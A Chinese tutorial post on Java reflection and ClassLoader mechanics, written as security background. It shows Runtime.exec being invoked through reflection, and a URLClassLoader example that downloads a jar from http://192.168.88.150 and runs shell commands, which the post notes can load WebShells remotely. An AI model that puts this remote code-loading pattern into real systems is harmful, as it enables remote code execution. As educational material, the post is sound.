首页 > 编程语言 >Java 安全基础之 Java 反射机制和 ClassLoader 类加载机制

Java 安全基础之 Java 反射机制和 ClassLoader 类加载机制

时间:2024-04-20 21:04:03浏览次数:30  
标签:java ClassLoader Java 机制 方法 Class 加载

目录

Java 反射机制

Java 反射(Reflection)是 Java 非常重要的动态特性。在运行状态中,通过 Java 的反射机制,我们能够判断一个对象所属的类。了解任意一个类的所有属性和方法。能够调用任意一个对象的任意方法和属性。

Java 反射机制可以无视类方法、变量去访问权限修饰符,并且可以调用任何类的任意方法、访问并修改成员变量值。

对于一半的程序员来说反射的意义不大,对于框架开发人员来说,反射作用就非常大了,它是各种容器实现的核心。

获取 Class 对象

Java 反射操作的是 java.lang.Class 对象,所以我们需要先想办法获取到 Class 对象。

1、类字面常量来获取

Class<?> name = MyClass.class;

2、通过对象获取 getClass() 方法

MyClass obj = new MyClass();
Class<?> name = obj.getClass();

3、通过全限定名获取 Class.forName() 方法

Class<?> name = Class.forName("java.lang.Runtime");

4、使用 getSystemClassLoader().loadClass() 方法

Class<?> name = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");

loadClass() 与 forName() 的区别:

forName() 的静态方法 JVM 会装载类,并且执行 static() 中的代码。而getSystemClassLoader().loadClass() 不会执行 static() 中的代码。

获取类成员变量

1、getDeclaredFields 方法

获得类的成员变量数组,包括 public、private 和 proteced,但是不包括父类的申明字段。

Field[] fields = classname.getDeclaredFields();

2、getDeclaredField 方法

该方法与 getDeclaredFields 的区别是只能获得类的单个成员变量。

Field field  = classname.getDeclaredField("变量名");

3、getFields 方法

getFields 能够获得某个类的所有的 public 字段,包括父类中的字段。

Field[] fields = classname.getFields();

4、getField 方法

与 getFields 类似,getField 方法能够获得某个类特定的 public 字段,包括父类中的字段。

Field field = classname.getField(("变量名");

获取类方法

1、getDeclaredMethods 方法

返回类或接口声明的所有方法,包括 public、protected、private 和默认方法,但不包括继承的方法。

Method[] methods = classname.getDeclaredMethods()

2、getDeclaredMethod 方法

也只能返回一个特定的方法,该方法的第一个参数为方法名,第二个参数名是方法参数。

Method methods = classname.getDeclaredMethods("方法名")

3、getMethods 方法

返回某个类的所有 public 方法,包括其继承类的 public 方法。

Method[] methods = classname.getMethods();

4、getMethod 方法

只能返回一个特定的方法,该方法的第一个参数为方法名称,后面的参数为方法的参数对应 Class 的对象。

Method method = clazz.getMethod("方法名");

反射 java.lang.Runtime

java.lang.Runtime 有一个 exec 方法,所以可以反射调用 Runtime 类来执行本地系统命令。

不使用反射执行本地命令:

import java.io.IOException;

public class Exec {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

反射 Runtime 执行本地命令:

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class ReflectionExec {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException,
            InvocationTargetException, IllegalAccessException {
        // 获取 Runtime 类
        Class<?> clazz = Class.forName("java.lang.Runtime");

        // 获取 Runtime 类的 getRuntime() 方法
        Method getRuntimeMethod = clazz.getMethod("getRuntime");

        // 调用 getRuntime() 方法,获取 Runtime 对象
        Object runtimeObject = getRuntimeMethod.invoke(null);

        // 获取 exec(String command) 方法
        Method execMethod = clazz.getMethod("exec", String.class);

        // 执行系统命令
        execMethod.invoke(runtimeObject, "clac");
    }
}

间接性的调用 Runtime 的 exec 方法执行本地系统命令。

image

不安全的反射可能会带来致命的漏洞。

ClassLoader 类加载机制

Java 是编译型语言,编写的 java 文件需要编译成后 class 文件后才能够被 JVM 运行。类加载器 ClassLoader 负责加载类文件,生成对应的 Class 对象。

JVM 提供的三种类加载器

  1. Bootstrap ClassLoader(启动类加载器)

负责加载 Java 的核心类,比如 java.lang.Object 等。它是由 C++ 实现的,并且不是 Java 类。

  1. Extension ClassLoader(扩展类加载器)

负责加载 Java 的扩展类,位于 <JAVA_HOME>/lib/ext 目录下的JAR包或类。

  1. System ClassLoader(系统类加载器)

也称为应用类加载器,负责加载应用程序的类,通常从classpath中加载类。

值得注意的是,Bootstrap ClassLoader 它是 JVM 自身的一部分,并不是 ClassLoader 的子类,无法直接获取对其的引用,所以尝试获取被 Bootstrap ClassLoader 类加载器所加载的类的 ClassLoader 时候都会返回 null。

除了这三种,还可以自定义类加载器。

ClassLoader 类中和加载类相关的方法

  • getParent() 返回该类加载器的父类加载器

  • loadClass() 加载指定的类

  • findClass() 查找指定的类

  • findLoadedClass() 查找已经被加载过的类

  • defineClass() 定义一个类

  • resolveClass() 链接指定的Java类

ClassLoader类加载流程

  1. 检查是否已经加载过类

在加载类之前,会首先使用 findLoadedClass() 方法判断该类是否已经被加载,如果已经加载过,则直接返回对应的 Class 对象。

  1. 委托给父类加载器

如果未被加载,则优先使用加载器的父类加载器进行加载,如果加载成功,则返回对应的 Class 对象。

  1. 自行尝试加载类

如果父类加载器无法加载该类,或者父类加载器为空,则会调用自身的 findClass() 方法尝试自行加载该类。

  1. 链接和初始化

在成功加载类之后,类加载器会对其进行链接和初始化操作。

  1. 返回 Class 对象

返回一个被 JVM 加载后的 java.lang.Class 类对象。

ClassLoader 的 loadClass 方法核心逻辑代码:

protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
    synchronized (getClassLoadingLock(name)) {
        Class<?> c = findLoadedClass(name);
        if (c == null) {
            long t0 = System.nanoTime();
            try {
                if (parent != null) {
                    c = parent.loadClass(name, false);
                } else {
                    c = findBootstrapClassOrNull(name);
                }
            } catch (ClassNotFoundException e) {
            }
            if (c == null) {
                c = findClass(name);
            }
        }
        if (resolve) {
            resolveClass(c);
        }
        return c;
    }
 }

自定义的类加载器

通过重写 findClass() 方法,利用 defineClass() 方法来将字节码转换成 java.lang.class 类对象,就可以实现自定义的类加载器。

URLClassLoader

URLClassLoader 类是 ClassLoader 的一个实现,拥有从远程服务器上加载类的能力。

通过 URLClassLoader 可以实现远程的类方法调用,可以实现对一些 WebShell 的远程加载。

例如:通过 URLClassLoader 来加载一个远程的 jar 包执行本地命令

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.net.URLClassLoader;

public class TestURLClassLoader {
    public static void main(String[] args) throws IOException,
            ClassNotFoundException, NoSuchMethodException, InvocationTargetException,
			IllegalAccessException {
        // 定义远程加载的jar的URL路径
        URL url = new URL("http://192.168.88.150/CMD.jar");

        // 创建URLClassLoader对象,并加载远程jar包
        URLClassLoader ucl = new URLClassLoader(new URL[]{url});

        // 通过URLClassLoader加载远程jar包中的CMD类
        Class<?> cmdClass = ucl.loadClass("CMD");

        String cmd = "ls";
        // 调用CMD类中的exec方法
        Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

        // 获取命令执行结果的输入流
        InputStream in = process.getInputStream();
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] b = new byte[1024];
        int a = -1;

        // 读取命令执行结果
        while ((a = in.read(b)) != -1) {
            baos.write(b, 0, a);
        }

        // 输出命令执行结果
        System.out.println(baos.toString());
    }
}

远程的 CMD.jar 中就一个 CMD.class 文件,对应的 CMD.java 如下:

import java.io.IOException;

public class CMD {
    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }
}

成功调用 CMD 类中的 exec 方法,执行了 ls 命令。

image

标签:java,ClassLoader,Java,机制,方法,Class,加载
From: https://www.cnblogs.com/smileleooo/p/18148128

相关文章

  • java Swagger 使用汇总
    Swagger1.Swagger简介最流行的api框架restfulapi在线自动生成工具:api文档与api定义同步更新直接运行,可以在线测试api接口支持多种语言:java,php2.官网https://swagger.io在项目中使用swagger需要springboxswagger2ui3.SpringBoot集成Swaggerhttps://mvnreposito......
  • Java面试题:为什么HashMap不建议使用对象作为Key?
    HashMap是一种基于哈希表的动态数据结构,它允许使用任意不可变对象作为键(key)来存储和检索数据。然而,在某些情况下,使用对象作为HashMap的键可能会遇到一些问题。 首先,我们需要明确对象作为HashMap的键需要满足一些条件:不可变性:对象的属性不能被修改,因为如果属性被修改,那......
  • JavaScript变量的奥秘:从声明到使用,一文掌握!
    在编程的世界里,数据是构建一切的基础。而在JavaScript中,变量就是存储数据的容器。它们就像是我们生活中的盒子,可以装下各种物品,让我们在需要的时候随时取用。今天,就让我们一起揭开变量的神秘面纱,探索它们的概念、使用规则,以及那些令人头疼的错误。一、变量的概念和作用变量,顾名......
  • Android系统build阶段签名机制
    https://maoao530.github.io/2017/01/31/android-build-sign/APK签名机制https://maoao530.github.io/2017/01/31/apk-sign/ 本文介绍Android系统build阶段的签名机制。一、系统build阶段签名机制1、系统中有4组key用于build阶段对apk进行签名:MediaPlatformSharedTestk......
  • 01、Java 安全-反序列化基础
    Java反序列化基础1.ObjectOutputStream与ObjectInputStream类1.1.ObjectOutputStream类java.io.ObjectOutputStream类,将Java对象的原始数据类型写出到文件,实现对象的持久存储。序列化操作一个对象要想序列化,必须满足两个条件:该类必须实现java.io.Serializable接口,......
  • 【Java 线程】SpringBoot 启动后都有哪些线程呢?
    1 前言现在流行搞微服务,基本也都是SpringBoot打底的,那么你可否知道一个基本的SpringBoot启动后,都开辟了哪些线程呢?这节我们就来看看。为什么要看呢?这个主要是增加对服务的了解,比如你管的支付中心或者订单中心,你都有哪些线程,各个线程都是干什么的,你不了解这些你怎么调优,你......
  • 4.Java流程控制
    Java流程控制Scannner对象(获取用户的输入)//基本格式:Scannerscanner=newScanner(System.in);Stringstr=scanner.nextLine();//其中nextLine()按情况替换scanner.close();publicstaticvoidmain(String[]args){//创建一个扫描器对象,用于接受......
  • java中的set集合
    java中的set集合目录java中的set集合1.HashSet集合1.1HashSet的特点1.2HashSet常用方法2.LinkedHashSet集合2.1LinkedHashSet集合的特点3.TreeSet集合3.1TreeSet集合的特点3.2TreeSet的基本使用4.HashSet、LinkedHashSet、TreeSet的使用场景5.list和set集合的区别5.1有序性5.2唯......
  • java中的接口
    java中的接口目录java中的接口特征接口回调接口和抽象类的异同总结特征接口使用interface关键字接口中的所有方法默认都是publicabstract修饰接口中所有的成员变量都是publicstaticfinal修饰接口没有构造方法,构造方法用于创建对象(接口没办法new对象),但是接口使用......
  • Java 集合进阶使用(List Map Set)
    CollectionCollection是其子集的父类,所以可以使用多态的规矩,比如:创建一个ArrayList对象,用Collection接收Collection<Integer>collection=newArrayList<>();注意:Collection为接口,不能直接创建对象,但可以利用其子类,使用Collection方法,就如上方代码一样Collection......